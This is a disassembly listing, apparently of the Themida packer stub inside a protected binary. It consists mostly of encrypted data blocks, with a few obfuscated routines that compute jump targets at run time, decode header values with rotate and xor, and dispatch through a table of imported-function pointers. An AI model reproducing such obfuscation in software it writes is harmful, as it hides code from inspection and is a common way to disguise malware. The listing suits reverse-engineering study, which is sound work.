		dd 0B606DD14h, 0FF83A8EEh, 5288155Ch, 1A9ED771h, 72BFF695h
		dd 969D06AFh, 5C1936F7h, 59EDC6D7h, 0DFD601FDh,	125E412h
		dd 0FF3F0000h, 1788155Ch, 5EE93D74h, 67A145FEh,	0B5FFF5F8h
		dd 45E9CAh, 735C8A17h, 0C81E9ADFh, 0B5FFF5CCh, 0F39172E8h
		dd 0F42475BAh, 0A884961Fh, 4F1477CDh, 2Ah, 0EB5E7D0h, 54FAED8h
		dd 1A35B600h, 5515595h,	866DB600h, 0F8211D1Dh, 0B4C41477h
		dd 9E000000h, 10D2D670h, 87B0B600h, 5CFF0A11h, 6A0EF115h
		dd 0D75C5CEEh, 0D26AF57h, 0DA9FB314h, 77D44455h, 63C08DAEh
		dd 45EAA3C2h, 0D678B9DCh, 0E264A29Bh, 0AF58039Ch, 992D6407h
		dd 91358E2Eh, 2A24877h,	0F5113AB6h, 87AC690Ah, 3C61244Ah
		dd 7CADF2EBh, 0E6156783h, 73E59478h, 2B758C95h,	5B09BCD3h
		dd 0ABCC77DDh, 0B47CC2E6h, 0FF3CF329h, 0A1806h,	652C4B00h
		dd 94D17E21h, 0C28BAD16h, 0F2B7DB44h, 276A0BB4h, 0BD5564E3h
		dd 0EA55D19Ch, 1E810548h, 50F3377Eh, 4626642Dh,	0DE2662A4h
		dd 0DE1CB606h, 135EFF71h, 40092C97h, 14DA1CFAh,	0DBBA42CBh
		dd 0FFD4DF59h, 5288155Ch, 0C7CD071h, 0B75B4A75h, 8B9C01FAh
		dd 0AAE3822Dh, 446931Ch, 0E7B60000h, 0AED80EB5h, 0B5FFFECBh
		dd 3C7916B9h, 181CDE43h, 0B4B5FFFFh, 684456DFh,	8F1477FEh
		dd 1E9h, 0D765A690h, 0F626AF57h, 0E96F994Dh, 0DBB606D4h
		dd 0CA694A70h, 8F396783h, 0B606D58Bh, 0F05ADE79h, 41652C4Fh
		dd 0D4A9E11Bh, 0B09BB606h, 92028B78h, 344BFD29h, 0EBCAEDBh
		dd 0DB5A5EE8h, 0F28BCAEh, 0BC96F216h, 39FAEC7Ch, 94C48h
		dd 91D87F00h, 0C085AA15h, 0F6BFD97Ah, 26630FB0h, 531E3FE0h
		dd 0E92948D7h, 1E810548h, 4AF5317Ch, 7C27632Ah,	920A90D9h
		dd 0DEFA3E48h, 82C8B606h, 155CFFA5h, 3D741788h,	1B8431F0h
		dd 0E2387114h, 6CACDE04h, 37AF57D7h, 408A5C15h,	4FA3CFB3h
		dd 0A3F5EE1Ah, 0DF2A1BF7h, 13FE212h, 0FF450000h, 1788155Ch
		dd 4F893D74h, 0BA600DF2h, 0F1F9B8D7h, 2E4A8F79h, 0AE19E335h
		dd 0F711B50Eh, 0B600C188h, 8A4CD17Ah, 0B600C18Ah, 0D6E44D26h
		dd 147738FAh, 441Dh, 8895E700h,	0AB14F6EFh, 0E72E75A3h
		dd 0B2D80EB5h, 3B7D3051h, 4D22Dh, 1A87B0B6h, 4D4D0h, 9A1BF0B6h
		dd 77F8AC98h, 0DAC56314h, 0D2D6F0B5h, 0B0B60010h, 0AFE31187h
		dd 85000000h, 0DD829D73h, 0F83068A1h, 155CFFB3h, 57667F1h
		dd 5AD1BBE4h, 9E034AE9h, 0E7B82B8Dh, 0FDA60B46h, 198A175Eh
		dd 9F7337Ah, 8E02D0CFh,	593B304h, 588CCDC3h, 0FEB7D6AFh
		dd 6BD1FA8h, 2C77A6E0h,	0EF69B603h, 1A1DBC5Dh, 0D17FB9E3h
		dd 3E5F4066h, 0EB8C3773h, 9D9D16Bh, 8ABB603h, 0A8812E6Bh
		dd 4022C6BFh, 30F3288Eh, 80F12F3h, 27420000h, 0DA77D86Eh
		dd 80A80B9Fh, 0BCD27DC9h, 6102ADF9h, 60119E2Ch,	4EDC91B2h
		dd 0B20845E5h, 0EC3A7311h, 0DD692043h, 31699349h, 13B606E0h
		dd 59BA6ED5h, 0FF287538h, 1855F6B9h, 4B022182h,	5CFFD0FFh
		dd 71528815h, 18119ED7h, 256C0F90h, 0E9215B81h,	0DBAF57D6h
		dd 0D1523870h, 23Ch, 0EB5E7F4h,	3351B2D8h, 0B4E4357Ah
		dd 6D58EB2h, 56DB74B6h,	6D59094h, 0CD362CB6h, 0EF84E5A0h
		dd 841405AAh, 9874862Fh, 7F147128h, 1F7h, 0D765A6C0h, 987BAF57h
		dd 0AA7DBBF6h, 0F315B10Ah, 0B606D4C7h, 8B7492BDh, 0BA65A1E8h
		dd 914DD29Bh, 0D2460F2Eh, 0AE5CE755h, 0B6F39F00h, 2ECF303Ch
		dd 3464B9D5h, 0AE39DB32h, 6228DBCh, 0ED27E94Fh,	0A091BFE1h
		dd 0A2463FD8h, 0EC7D82BAh, 2E847DBEh, 61000007h, 983B8FC6h
		dd 0C768BEFBh, 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh
		dd 2B6608ABh, 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606E110h
		dd 0FF8FB4F2h, 1788155Ch, 2FF03D74h, 49DA4702h,	72386528h
		dd 72DD5CC5h, 0AB1458D9h, 0BA50258Dh, 0F8F8590Eh, 6706A90Fh
		dd 0D2CB82A6h, 2545AE54h, 7854C068h, 9F12DFC8h,	13Bh, 9D5CFFA0h
		dd 3454B5F0h, 0EE7307Dh, 145D00A1h, 3C873596h, 0F6117C8Eh
		dd 58F3B5FFh, 0F61313DBh, 0C4AFB5FFh, 0CD635F5Bh, 488A1477h
		dd 9D000000h, 0E286B5E7h, 3C1506ABh, 803A608Eh,	0AF57D788h
		dd 8147D17Ah, 0B600056Eh, 0B4B6FB54h, 0B6000570h, 0D25F1233h
		dd 4B6F214h, 0A38CB600h, 43E52042h, 9B74A50Ah, 65CEBF16h
		dd 40E14AD6h, 77F84632h, 0A5A114h, 0FF7A0000h, 0B1FC9D5Ch
		dd 0DD423B6Ch, 0B86E2344h, 357A3757h, 0BD7B4E4h, 62CF8AA8h
		dd 1D40EF49h, 3756CF54h, 0F0DE287Eh, 0B3AF5850h, 13083890h
		dd 15C88676h, 0FF5DEE3Ch, 103DA644h, 59DFC855h,	0C4466993h
		dd 133CB602h, 0FB3F49F7h, 0C9B602C3h, 0BF20CA6Eh, 0ACEC1E9Eh
		dd 96B602C3h, 0DD46C4BDh, 5FD7F1BCh, 71F328D4h,	5E3D1B2h
		dd 73160000h, 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh,	0B5D679CDh
		dd 9425A2F8h, 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh,	0E1256C0Fh
		dd 65A5E705h, 5FB606E2h, 5EFF3219h, 92C9713h, 0FFDDFA40h
		dd 0B2FB9D5Ch, 0DE433C6Dh, 18A22645h, 0AF57D720h, 0AA5049E2h
		dd 32662F49h, 16C748h, 0FFE20000h, 1788155Ch, 1DF03D74h
		dd 5D0007A8h, 280D9614h, 28000000h, 703559BAh, 7CD47738h
		dd 9DBB10A4h, 845E4FD4h, 1DF69367h, 2B6206E9h, 0D9DC1E8Dh
		dd 43AF5859h, 21444BD4h, 0BAF5D268h, 22763F59h,	7397DE7Dh
		dd 7CA3FEF9h, 2D4FBB38h, 0F5EE3F64h, 7DBBFE94h,	14AF0D8Eh
		dd 0A00A64F6h, 4CE62264h, 73DCAF58h, 48DFA97Bh,	0E4C07AE0h
		dd 0DEB6070Bh, 0CF6E5175h, 4A236A0Eh, 793053FCh, 7AC17334h
		dd 9EBD264Ch, 0C7514AD7h, 0B6097A01h, 0E3836CBCh, 5F480526h
		dd 783D51D2h, 0AF09E23Bh, 0AF10B661h, 0D721C58Ch, 94366E5Ch
		dd 0BCB67F94h, 60DC56Eh, 0B9039598h, 0F13E7716h, 8B3F8428h
		dd 5E6F6A71h, 0C9FF58C3h, 0E5CD2947h, 0BA996A49h, 0ED000004h
		dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h,	0FE45C18Ch
		dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h
		dd 0B606E48Ch, 0FF0B3076h, 2E91155Ch, 56A0460Fh, 32490409h
		dd 0F457C134h, 0A541082Bh, 0E9266953h, 0ADCF33B8h, 0F49A0BE4h
		dd 1B8467B1h, 33EC3178h, 38D25F12h, 17710F01h, 0F25BA6FDh
		dd 45082A31h, 6BD6CFD8h, 3B5A61C2h, 0F00D0DBFh,	5CF7AF57h
		dd 9B772763h, 6212DFCFh, 50h, 0EB5E7C5h, 3351B2D8h, 9B283E7Ah
		dd 69B60026h, 95B718CEh, 25B3F711h, 13B5B600h, 0B6002617h
		dd 978042EDh, 989E68BEh, 0BB60026h, 0C489A968h,	0E9A4C65Fh
		dd 97A5344h, 0FC4A236Ah, 3B783153h, 4347812Fh, 1B60026h
		dd 0E63D8216h, 18000003h, 88155CFFh, 0CC81852h,	1C087DB6h
		dd 3970139Ch, 41FA5AEDh, 3FC63A5h, 1E2B600h, 95862B62h
		dd 0B9DAFD03h, 857EAFF4h, 1FDE7E61h, 0BFE8357Ch, 75F152C6h
		dd 0DC6EEA8Ah, 0B60003DCh, 4948DA6h, 3C2C2h, 0A43E1B6h
		dd 5AF295A5h, 0CF583060h, 5BFC315Eh, 71F03D16h,	0D45CDB44h
		dd 0C8A4B67Fh, 2F14776Ch, 4Ah, 0C3B5E7F0h, 57D781B9h, 0FFE843AFh
		dd 55EB1CBh, 0F600B600h, 9B991DD9h, 50FE3A76h, 0BFE0C3E7h
		dd 0B8FD91F2h, 4B4B9370h, 67B60077h, 0F53557FDh, 0C7B60076h
		dd 32379347h, 1601C1B0h, 8A882982h, 1477B09Eh, 0CF79h
		dd 5CFFC200h, 76178815h, 0E2DF63Bh, 2A49DA47h, 0CB252763h
		dd 0D8AF57DBh, 5AEFCB5h, 64822F66h, 7518D97Bh, 0CDA6F73Ch
		dd 26E13760h, 5F994DF6h, 59FABDE3h, 449E8F14h, 5816EF68h
		dd 7FC40660h, 343E7A53h, 7E6792h, 0B4F25DB6h, 63920C4Eh
		dd 0F6F3DFC0h, 892F1855h, 81259E3Eh, 0F9E9215Bh, 70DBB5FFh
		dd 9F883238h
		dd 41BCAA9Ch, 2375305Eh, 2B94321Dh, 60C3470Ah, 0C456723Fh
		dd 0CCEC80FBh, 2AF16EFh, 47E20000h, 7A17B80Eh, 2048EB3Fh
		dd 0DC72DD69h, 81A20D99h, 0C0F17ECCh, 2E7C3152h, 12A8E585h
		dd 4CDA93B1h, 0BD0940E3h, 91893329h, 73B606E6h,	5EFF0E35h
		dd 3BB3F69Bh, 70EFD76Fh, 90160FF2h, 0C1450C2Fh,	0DA97B81Bh
		dd 0CFD44455h, 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 7A3352B6h
		dd 64CC6C35h, 0AE60DCF2h, 0CF544DEAh, 0AF2EF764h, 4709AA01h
		dd 2D72375Ch, 0A2E78BFCh, 288C2C7Dh, 1477FA3Ch,	0AADBh
		dd 5CFF6C00h, 76178815h, 1248F3Bh, 30689248h, 12AF57D7h
		dd 0CA0CFF39h, 0AF57DBB4h, 81054CEFh, 0E9367F1Eh, 93378C20h
		dd 0FFEC0269h, 0B357C0B5h, 0EBB7F315h, 0A28DB5FFh, 0C4692C41h
		dd 4CFF45D3h, 4CB753E8h, 0EF38652Ch, 0D119A349h, 0B3BCAA8Ah
		dd 0E0816298h, 95B619ADh, 3A672250h, 0AC85C869h, 0CE53163Bh
		dd 30C4E4DDh, 60EC810Dh, 1B7C243h, 4FEA0000h, 721F8006h
		dd 2850F337h, 0D47A2561h, 89AA1591h, 0B8F946C4h, 3674395Ah
		dd 1AA0ED8Dh, 54D29BB9h, 850148EBh, 89813B21h, 7BB606E7h
		dd 5EFF163Dh, 92C9713h,	0FFDDFA40h, 0B2FB9D5Ch,	0DE433C6Dh
		dd 47E72645h, 0D78585C7h, 0D47FAF57h, 0BEE402FBh, 317E3755h
		dd 0D6DADEF8h, 8FA8AF57h, 5D00A329h, 0AE0E8F14h, 0B457F115h
		dd 8EB60002h, 0ADF978A5h, 2C5C507h, 1CBFB600h, 0D1473079h
		dd 93B2B97Ah, 44862CDAh, 0B6000344h, 3983153Eh,	7C1D2E8Eh
		dd 4ABBEC31h, 0EAC36025h, 0F8B3D5F1h, 0EEBCA822h, 5E0D206Ch
		dd 0D7EF1DFh, 0ACFD226Bh, 0BD69C20Ch, 3B7D3052h, 0FDB4D748h
		dd 24FEFB0h, 2D64049Dh,	149D0A80h, 0FCA51685h, 0D6F44FEDh
		dd 0A8004DEDh, 97BB2442h, 0FBADED1Fh, 0BC97BCA7h, 46805EC3h
		dd 0BCA7FC42h, 0FA3E1700h, 501BAD6Ch, 2C50B3C3h, 49EF3865h
		dd 0F01EAC87h, 1BF8304Ah, 61CAC350h, 8CC56837h,	5ADE7E27h
		dd 501BE820h, 0D69BBBC3h, 0D891B314h, 0EFD0F6EFh, 3695034Eh
		dd 12199A33h, 238C3A73h, 0C8E14E03h, 0F3219A60h, 91689248h
		dd 73C9F847h, 0ABCA5BD8h, 11BABDE2h, 928ACC90h,	3493C0E0h
		dd 8331F622h, 0FD0F8FB0h, 0C9F8B8BDh, 6EB3AC87h, 64A6443Dh
		dd 0D0A0E485h, 0F556D47Fh, 0BCCEFC47h, 0D74FE1E9h, 2C4A70DBh
		dd 4FE29E9Ah, 6DCB64D7h, 4F0625FEh, 7C3558FBh, 49573737h
		dd 8D7E4505h, 377E1D24h, 852D50F3h, 956CD9EEh, 0E64B2457h
		dd 0B9DC113Dh, 579A07F0h, 8EBB57Eh, 97802D64h, 0B6FF9E01h
		dd 0E5ACCF70h, 3C7B8h, 0B0E20000h, 1158FFCBh, 3970138Ch
		dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
		dd 0CD84A47Dh, 0D792BF60h, 2768FA4Ah, 89000036h, 8682404h
		dd 8900006Eh, 8950240Ch, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 0BA52243Ch, 6AEFEFEh, 89D78957h, 545A5FF9h, 81243C8Bh
		dd 4C4h, 2DA96800h, 0C890000h, 24348124h, 316D5B48h, 8108478Fh
		dd 5B480877h, 34FF316Dh, 0C4815F24h, 4,	592434FFh, 0E904C483h
		dd 0FFF96B66h, 9226C6h,	0A9712E4h, 0E45B7D6Bh
		db 8Fh
; ---------------------------------------------------------------------------


loc_5BAC75:				; CODE XREF: Themida_:loc_5B985Cj
		mov	eax, 6AF11F1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 1874h
		dd 0FDE80F67h, 10E13C09h, 45790CAAh, 0ECE865EFh, 7D8C4748h
		dd 65386CD2h, 64855DEFh, 953D45BBh, 7CAC13F6h, 1AE94402h
		dd 50000000h, 2155D6h, 5 dup(0)
		dd 521E900h, 27420000h,	0DA77D86Eh, 80A80B9Fh, 0BCD27DC9h
		dd 6102ADF9h, 60119E2Ch, 4EDC91B2h, 0B20845E5h,	0EC3A7311h
		dd 0DD692043h, 31699349h, 13B606E9h, 59BA6ED5h,	165FFE3Fh
		dd 1134FB3Dh, 0D7377395h, 0AA0DAF57h, 0FED7C085h, 24FF0B1h
		dd 31781B84h, 430A2A95h, 0D72565A7h, 341FAF57h,	0FF9E07E4h
		dd 9BB869B6h, 78E251DEh, 7BB8F197h, 941DF622h, 63A7EE8Dh
		dd 3C5D9CC0h, 0C4629871h, 57D78682h, 45D37CAFh,	793054FFh
		dd 67CB6B34h, 0F4A439B6h, 5AA8332h, 4148E9C2h, 16BC6A23h
		dd 58B9B4F4h, 73A58EAFh, 4E072689h, 0BA1E19E1h,	0F6CAF58h
		dd 35B894A6h, 5E5F12DFh, 0E0000000h, 88155CFFh,	57D7484Eh
		dd 7C25B2AFh, 0F5A7A630h, 0CA572BD7h, 69DECA6Eh, 143912DFh
		dd 0C3000000h, 59331989h, 0B11F0E5Fh, 55BDA1DCh, 6102635Ch
		dd 0FFA78C2Ch, 0B4FD9F52h, 0A0CD56DBh, 4BE7B8E5h, 5932A10Eh
		dd 856E94D8h, 1607ACE9h, 57D6ACECh, 7BBD96AFh, 4CDA9FB4h
		dd 0BD0940E3h, 135EFF96h, 3D78158Eh, 1B8431F0h,	96B67314h
		dd 0FFA0E6DFh, 0EF1155Ch, 0A1FA276Eh, 6D0B9477h, 2E588624h
		dd 0AF57D6EAh, 1008B2D8h, 0F2AF57D7h, 5BC86059h, 85951EF5h
		dd 12DFD459h, 647Ch, 5EFFC700h,	73158E13h, 0AD1EF53Ah
		dd 115CFD04h, 44092A95h, 0A3E503DFh, 0AF57D767h, 94D97A5Dh
		dd 9CB27DBBh, 57F13C51h, 0AF98911Eh, 2C8769B6h,	0D46B7783h
		dd 449212DFh, 0B5000000h, 0F7135EFFh, 0F523660Ch, 0A6EF8D16h
		dd 4180A879h, 2F746D20h, 169BD276h, 0FA793A93h,	0D8A40D66h
		dd 9D1B56F7h, 0EE3C7112h, 9F52FFC1h, 50DDB6F3h,	57D78F96h
		dd 35FEFDAFh, 0DFD64925h, 1AC12h, 0FF770000h, 9EA1059h
		dd 0C28BAD68h, 0C5534C5Dh, 0D79EBD66h, 0E4ADD033h, 2D4ED7B4h
		dd 0C30BC360h, 0AA80B316h, 0C18CAE1Fh, 0ECA5C35Ch, 0E170316Eh
		dd 252CF5DEh, 4BFC4A03h, 0C10AB3E9h, 0E08B5148h, 12A9D3F7h
		dd 0F0B6006Fh, 2A49DA47h, 0BF392763h, 60BDA4BDh, 0F6B9FF8Eh
		dd 7E81E57h, 188B2D64h,	5ED8DEh, 0E64F24B6h, 1314BCDFh
		dd 785C435Ch, 1B8402FBh, 33EC3178h, 55D45910h, 0D3037F8h
		dd 7A56C644h, 9D147748h, 146h, 0EB5E7A6h, 723AED8h, 36E1B600h
		dd 0F3F54690h, 0F8FB3F49h, 6EC9B5FFh, 0B4552594h, 785B8764h
		dd 4159AD7h, 0EC680B94h, 822F6203h, 982961A9h, 301BB600h
		dd 0BA25C347h, 0DE41D79Eh, 0AAD0F6BFh, 5A642949h, 0B600985Eh
		dd 0ADDF0B24h, 0B600986Dh, 0CFBCFC57h, 487E3756h, 0F3B1830Eh
		dd 0EF4959AAh, 8F10BD7Ch, 8243E2CDh, 64B4ADE0h,	55D198BBh
		dd 776BF5E1h, 2C1014h, 0E72B0000h, 0ADDF0BB6h, 2F57D74Dh
		dd 57971C37h, 2F57D753h, 2645EE45h, 6A9C4AF5h, 0AF57D70Eh
		dd 21CF5BF4h, 41D79EBEh, 0A1FEh, 0B5E7D900h, 0CFAED80Eh
		dd 0B5B6000Ah, 0E98C159Ah, 7AFC1AA0h, 467CCCFEh, 0DC43D596h
		dd 80CAF0B9h, 958151D1h, 0EAA0C5D5h, 587AA73Fh,	2A2C9F19h
		dd 0B60095E9h, 48D598BAh, 0B7FCB5D7h, 8A09AA01h, 6834FDF6h
		dd 30F788C2h, 28C98967h, 23AAEEh, 153798B6h, 6A35635Ch
		dd 830482CBh, 0CA7CAA11h, 0BCAF3668h, 0B6ACF15Ah, 3F64214Dh
		dd 46E54AEEh, 0B2ABE687h, 0AB0EA6Dh, 0AF35B8F0h, 0A1DE82BCh
		dd 0C3F6349Ch, 2B802803h, 0A399B8Ah, 40FA276Eh,	0CAAB53ABh
		dd 877069DBh, 247BD963h, 0EE49C35Eh, 30BA7358h,	672D3E2Dh
		dd 7A8E1700h, 0EC12D52Dh, 1CB077A1h, 0DA47022Fh, 0D132E8C1h
		dd 64B5FAB3h, 369C2E34h, 0CB60714h, 7F60FE23h, 1E0F94DDh
		dd 3F76159Ah, 6C2548EBh, 0E27207C7h, 0AA03DE01h, 2A630209h
		dd 5910339Ch, 88A50ED4h, 0ABEF19CDh, 99DE01E1h,	99B57ABEh
		dd 73AC2EDCh, 2334E361h, 2DF655C3h, 49DA470Eh, 703E632Ah
		dd 34DB5ADBh, 6C0F169Fh, 0CA5A5EE8h, 0EE28DE02h, 0DA294D29h
		dd 97807920h, 6B0AF513h, 5AC78EAAh, 0D2CB6841h,	0F3BAD946h
		dd 1B1FA9D7h, 88DE02CDh, 2801AEEBh, 1216B0D6h, 0F0DE02CDh
		dd 59CA6E47h, 3E8h, 0CBB0C300h,	8C1158FFh, 0F4397013h
		dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
		dd 60CD84A4h, 4AD792BFh, 0E78957FAh, 4C781h, 0BB530000h
		dd 4, 875BDF29h, 685C243Ch, 543Ch, 57242C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 1C895C24h, 0C1685324h,	5B39213Ch
		dd 5A7FF381h, 0E3C154D7h, 0EB814B06h, 76EA9CC2h, 835B5D53h
		dd 248904ECh, 24048324h, 52515B04h, 57792168h, 814A5A03h
		dd 0CD3F78CAh, 0A3C2811Eh, 816E807Eh, 5FFE13EAh, 5AD1898Eh
		dd 2989D901h, 2434FF59h, 4C4815Bh, 8B000000h, 8956242Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 65E8E95Ch, 0D5B1FFF9h
		dd 0B86B1FABh, 6AF1738h, 0E0FFC503h, 0CCE71C4h,	1C17E7E2h
		dd 60B1B827h, 60004907h, 78C68F61h, 3A7F308Ch, 78429EC3h
		dd 1BF4FF5Dh, 147B4777h, 787D152Bh, 7F1479A3h, 590CE4A6h
		dd 5C0B305Bh, 2719DF7h,	741B8836h, 192A8D8Dh, 6A06AFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8021C6C3h, 8D8943E3h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0ECC35545h,	607D6EA7h, 858BF33Ch
		dd 6A83135h, 0CB5362BEh, 6985C766h, 0C006A814h,	6A00006Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9622C353h, 0BA55D1E2h, 0F3213FEDh, 0C7C2B70Fh
		dd 0A80BBD85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 80E4DE88h, 9D8B7CCCh
		dd 6A829D1h, 1561B5FFh,	6A06A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E556C4C3h, 0E8D37FA0h
		dd 0C78B6652h, 0DD95FF5Ah, 0E906A820h, 0Ch, 0E4914A1Dh
		dd 2DA9DA9Dh, 75278022h, 95FF006Ah, 6A81B31h, 0BEBC08Bh
		dd 0D1544DECh, 0A16AE8D7h, 0C60B7902h, 0A815D585h, 0DF685606h
		dd 0FFA9C530h, 0A80F95B5h, 71858D06h, 0FF06AB69h, 0D98D8DD0h
		dd 5106A82Ch, 0B5FF406Ah, 6A80CB9h, 0D81B5FFh, 0D0FF06A8h
		dd 0CB9B5FFh, 0B5FF06A8h, 6A80D81h, 0DE8h, 0E38C8100h
		dd 1E5C492Eh, 1240982Bh, 5A5A24BBh, 0C104EA83h,	0C102242Ch
		dd 3022424h, 1CF72414h,	6824h, 0FF5E0000h, 81591634h, 0F6C8EDE9h
		dd 0F9E98129h, 817FF619h, 0AC199DE9h, 320C8947h, 4E02EE83h
		dd 24343B4Eh, 0FFD9850Fh, 9D8DFFFFh, 6A82065h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	0E8C98B18h, 0Bh, 2EF7E3A3h
		dd 0DA3AAEF5h, 8B6216C0h, 0B4B75AF1h, 5B02C281h, 0BF0F0000h
		dd 0B9C02BD9h, 7650D6F3h, 0B9023C8Bh, 4BE2234Ch, 8233F781h
		dd 0F18B01D5h, 13E1F781h, 0BB6669AFh, 0C7817ACCh, 37C96E52h
		dd 9E9h, 52E0CA00h, 0AB9F54E3h,	0F571699h, 48FF0B7h, 0D3CE8102h
		dd 0F4A6FC0h, 0E883F7B7h, 6E904h, 21730000h, 0D63D77DFh
		dd 0A5B8F881h, 850FFFFFh, 15h, 0E9C8B70Fh, 3Eh,	9422F9C8h
		dd 3CD55877h, 23891496h, 11E8600Eh, 0C1000000h,	9FA94C80h
		dd 0DEE24596h, 0CEBB2C5Eh, 0CCE2736Ch, 0E3F28166h, 0E9615971h
		dd 0FFFFFF70h, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 5FE96748h
		dd 52000001h, 0E860D48Bh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6AF1AB3h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5BB60D
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 8EF02A20h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6A805B9h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0C2554FA4h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+6A81469h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6A80BBDh],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5BB5D1
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A82A8Dh]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A81DA9h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A81561h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A80E01h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A814A1h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A81535h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A805FDh]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A80D41h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A8298Dh]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A82071h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A801B1h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A816FDh]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A82111h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A82A11h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A80915h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6A83509h]
		jmp	loc_5BB5E5
; ---------------------------------------------------------------------------


loc_5BB5D1:				; CODE XREF: Themida_:005BB51Cj
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+6AF1B14h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5BB5E5:				; CODE XREF: Themida_:005BB527j
					; Themida_:005BB532j ...
		call	dword ptr [ebp+6A820DDh]
		pop	ebx


loc_5BB5EC:				; CODE XREF: Themida_:005BB605j
		mov	eax, [ebp+6A805B9h]
		cmp	[eax+4], ebx
		jnz	loc_5BB60A
		push	ebx
		push	1
		call	dword ptr [ebp+6A81B31h]
		pop	ebx
		jmp	loc_5BB5EC
; ---------------------------------------------------------------------------


loc_5BB60A:				; CODE XREF: Themida_:005BB5F5j
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5BB60D:				; CODE XREF: Themida_:005BB4CFj
		popa
		pop	edx
		mov	eax, 77D4C96Ah
		jmp	eax
; ---------------------------------------------------------------------------
		dw 858Bh
		dd 6A82235h, 1C028D8Dh,	418906AFh, 0E8C38B01h, 5, 5A9FBD6Ch
		dd 0F5BFC04h, 0C381D2B7h, 67F2h, 2D26BE66h, 14E9FF2Bh
		dd 0C3000000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch, 2FFFF5D9h
		dd 8B57D6B9h, 6E83B04h,	17000000h, 520D2D82h, 815EFCAEh
		dd 48741EE8h, 0F38B6625h, 3BE8F081h, 0FE86B9Ah,	25000000h
		dd 6D3ED502h, 0AFA788Ah, 0C12E0BF0h, 0CE9A192h,	4F000000h
		dd 0B01D15F5h, 313FFD1Dh, 59C6DFEAh, 0AFBE881h,	50F95856h
		dd 0ABEABE66h, 663B048Fh, 317DEE81h, 44F18152h,	5E31F732h
		dd 0F04EF83h, 0FF81F2BFh, 0FFFF98C0h, 0FF8D850Fh, 830FFFFFh
		dd 0Eh,	0E8D88160h, 811AA40Ah, 0F1A9CDD8h, 6E86121h, 1D000000h
		dd 526A9B44h, 0BE9B5h, 79280000h, 5AB87991h, 7FAD8297h
		dd 81665B86h, 81E8D6DAh, 59EAC3h, 1E2BE00h, 0F681074Fh
		dd 74F17B7h, 0EA8033FFh, 0E9565900h, 7,	2A671035h, 58B3678Fh
		dd 0A8E9E981h, 9AB80DF3h, 8152657Bh, 0E780D4C1h, 0CA81666Fh
		dd 0E9811FDEh, 47BF9AAFh, 660B89F9h, 0EB81D08Bh, 186B8814h
		dd 0D2C88157h, 587EB854h, 8810C381h, 0CE8186Bh,	3C000000h
		dd 0C2CC59E8h, 0A60E3BEBh, 6600B598h, 0A083D781h, 850F4E5Fh
		dd 0FFFFFF98h, 0A8913FBAh, 1DE97Ch, 0AF840000h,	6184h
		dd 5 dup(0)
		dd 0E9000000h, 4AFh, 0AF1E8368h, 601CE906h, 0FB68FFF9h
